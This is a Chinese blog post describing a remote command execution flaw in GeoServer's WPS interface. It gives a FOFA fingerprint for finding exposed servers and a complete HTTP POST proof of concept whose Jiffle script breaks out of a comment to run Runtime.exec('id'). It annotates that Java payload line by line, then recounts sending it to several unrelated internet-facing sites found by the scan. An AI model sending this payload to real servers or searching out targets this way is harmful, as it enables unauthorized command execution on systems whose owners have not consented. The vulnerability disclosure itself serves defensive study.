首页 > 其他分享 >GeoServer系统wms接口存在远程命令执行漏洞

GeoServer系统wms接口存在远程命令执行漏洞

时间:2024-05-25 19:44:38浏览次数:29  
标签:java wms 漏洞 allLines io GeoServer new line

漏洞描述

该漏洞存在于GeoServer系统的/goserver/wms接口处,攻击者可以利用该漏洞在xml中包含恶意的代码执行任意系统命令,漏洞利用了GeoServer处理Web Processing Service请求时没有正确过滤用户输入,从而导致远程命令执行漏洞。

fofa

icon_hash="97540678"

poc

POST /geoserver/wms HTTP/1.1
Content-Type: application/xml
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Host: xxx.xxx.xxx.xxx
Content-Length: 1967
Expect: 100-continue
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
  <wps:Execute version="1.0.0" service="WPS" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://www.opengis.net/wps/1.0.0" xmlns:wfs="http://www.opengis.net/wfs" xmlns:wps="http://www.opengis.net/wps/1.0.0" xmlns:ows="http://www.opengis.net/ows/1.1" xmlns:gml="http://www.opengis.net/gml" xmlns:ogc="http://www.opengis.net/ogc" xmlns:wcs="http://www.opengis.net/wcs/1.1.1" xmlns:xlink="http://www.w3.org/1999/xlink" xsi:schemaLocation="http://www.opengis.net/wps/1.0.0 http://schemas.opengis.net/wps/1.0.0/wpsAll.xsd">
    <ows:Identifier>ras:Jiffle</ows:Identifier>
    <wps:DataInputs>
      <wps:Input>
        <ows:Identifier>coverage</ows:Identifier>
        <wps:Data>
          <wps:ComplexData mimeType="application/arcgrid"><![CDATA[ncols 720 nrows 360 xllcorner -180 yllcorner -90 cellsize 0.5 NODATA_value -9999  316]]></wps:ComplexData>
        </wps:Data>
      </wps:Input>
      <wps:Input>
        <ows:Identifier>script</ows:Identifier>
        <wps:Data>
          <wps:LiteralData>dest = y() - (500); // */ public class Double {    public static double NaN = 0;  static { try {  java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("id").getInputStream())); String line = null; String allLines = " - "; while ((line = reader.readLine()) != null) { allLines += line; } throw new RuntimeException(allLines);} catch (java.io.IOException e) {} }} /**</wps:LiteralData>
        </wps:Data>
      </wps:Input>
      <wps:Input>
        <ows:Identifier>outputType</ows:Identifier>
        <wps:Data>
          <wps:LiteralData>DOUBLE</wps:LiteralData>
        </wps:Data>
      </wps:Input>
    </wps:DataInputs>
    <wps:ResponseForm>
      <wps:RawDataOutput mimeType="image/tiff">
        <ows:Identifier>result</ows:Identifier>
      </wps:RawDataOutput>
    </wps:ResponseForm>
  </wps:Execute>

以下部分为攻击者构造的恶意语句

 <wps:LiteralData>
 	dest = y() - (500); // */ 
 	存在一个关闭注释*/,用于闭合前面的注释块,使接下来的代码能够生效
 	public class Double {    
 		public static double NaN = 0;  
 		static { 
 		静态初始化块会在类加载的时候自动执行,适合放置立即执行的代码
 			try {
            	java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("id").getInputStream())); 
            	使用Runtime.getRuntime().exec("id")方法执行系统命令'id',用于获取当前用户的身份信息
            	String line = null; 
            	String allLines = " - "; 
            	while ((line = reader.readLine()) != null) { 
            		allLines += line; 
            	} 
            	通过BufferedReader读取命令输出,将结果存储在allLines中
            	throw new RuntimeException(allLines);
            	最终的结果将作为异常信息抛出
  		} catch (java.io.IOException e) {}
  		异常处理部分捕获IOException,但没有采取任何行动,是为了防止代码因异常中断
  	}
  }
  /**
  </wps:LiteralData>

漏洞复现

fofa搜索资产,共有1399条数据匹配

image-20240525191505406

访问目标网站构造数据包

image-20240525191546047

目标网站返回了404

image-20240525191648167

该网站可能未开启WMS服务,无法找到相应的服务端点

更换其他网站进行复现测试

image-20240525191913060

返回No service:(WPS),GeoServer可能没有启用WPS服务,尝试了多个网站均返回以上两种结果

标签:java,wms,漏洞,allLines,io,GeoServer,new,line
From: https://www.cnblogs.com/LeouMaster/p/18212929

相关文章

  • Gradio存在任意文件读取漏洞(CVE-2024-1561)
    漏洞描述该漏洞是Gradio应用中的一个高危漏洞,其出现在'component_server'端点,允许攻击者调用'Component'类的任意方法,并利用'Block'类的'move_resource_to_block_cache()'方法在文件系统上复制任意文件到临时目录,随后可将其检索。这是的攻击者能够在未经授权的情况下读取本地文件......
  • [SCTF 2021]loginme go语言ssti漏洞
    今天做个新颖的题,go中的ssti问题。进来点击访问/admin/index?id=1发现空白,只有admin能看,看看源码main.go。点击查看代码packagemainimport( "html/template" "loginme/middleware" "loginme/route" "loginme/templates" "github.com/gin-gonic/gin&quo......
  • 红队攻防渗透技术实战流程:云安全之云原生安全:K8s安全etcd Dashboard Configfile漏洞
    红队云攻防实战1.云原生安全-K8s安全-Kubelet漏洞利用1.1K8s安全-Master节点漏洞利用-2379端口etcd未授权访问1.1.1K8s安全-Master节点漏洞利用-etcd未授权的几种利用方式1.1.2K8s安全-Master节点漏洞利用-etcd未授权-V2版本利用1.1.3K8s安全-Master节点漏......
  • XXL-JOB executor 未授权访问漏洞
    XXL-JOBexecutor未授权访问漏洞XXL-JOB是一个分布式任务调度平台,其核心设计目标是开放迅速、学习简单、轻量级、易扩展。现已开放源代码并接入多家公司线上产品线,开箱即用。XXL-JOB分为admin和executor两端,前者为后台管理页面,后者是任务执行的客户端。executor默认没有配置认证......
  • .NET漏洞分析 | 绕过某和OA全局权限验证
    01阅读须知文章首发:先知社区,原文地址:https://xz.aliyun.com/t/14517此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接......
  • 哪类漏洞容易被攻破
    这个取决于多种因素,包括漏洞的严重程度、攻击者的技术能力和资源、目标系统的安全配置等。然而,一些常见的漏洞类型由于其普遍性和严重性,往往更容易被攻破。例如,跨站脚本(XSS)漏洞是一种非常常见的安全漏洞,攻击者可以在网页中插入恶意代码,利用浏览器执行这些代码来窃取用户信息......
  • windows服务器 启用 TLS 1.0 ,1.1漏洞问题修复记录
     测试对象:windowsserver2016或2019IIS,sqlserver2014布署的网站启https证书绑定安全检查有漏洞 启用TLS1.0高危,1.1漏洞中危问题修复记录 IISCryptohttps://www.nartac.com/Products/IISCrypto/DownloadIISCrypto是一个免费工具,使管理员能够在WindowsServer......
  • Windows server高危漏洞 - 目标主机使用了不受支持的SSL加密算法
    系统扫描出高危漏洞:目标主机使用了不受支持的SSL加密算法。 修复过程:使用IISCrypto工具,下载地址:NartacSoftware-IISCrypto1.打开工具,点击“BestPractices”后,会自动反选掉一些选项,如下图,根据解决建议,手动反选掉TLS1.0和TLS1.1。然后Apply,重启服务器。 2. 服务......
  • SonarQube扫描bugs&漏洞处理汇总
    SonarQube扫描bugs&漏洞处理汇总工作中遇到和参考其他资料汇总--仅供自我学习目录BugsUsean"instanceof"comparisoninstead.Castoneoftheoperandsofthisintegerdivisiontoa"double"Removethisthrowstatementfromthisfinallyblock.Removethisreturnstate......
  • weblogic漏洞浅谈
    weblogic反序列化漏洞原理分析weblogic是oracle公司出品的applicationserver,用于本地和云端开发,集成,部署和大型分布式web应用,网络应用和数据库应用的Java应用服务器weblogicserver是一个基于JAVAEE架构的中间件,将java的动态功能和javaEnterprise标准的安全性引入大型网络应用......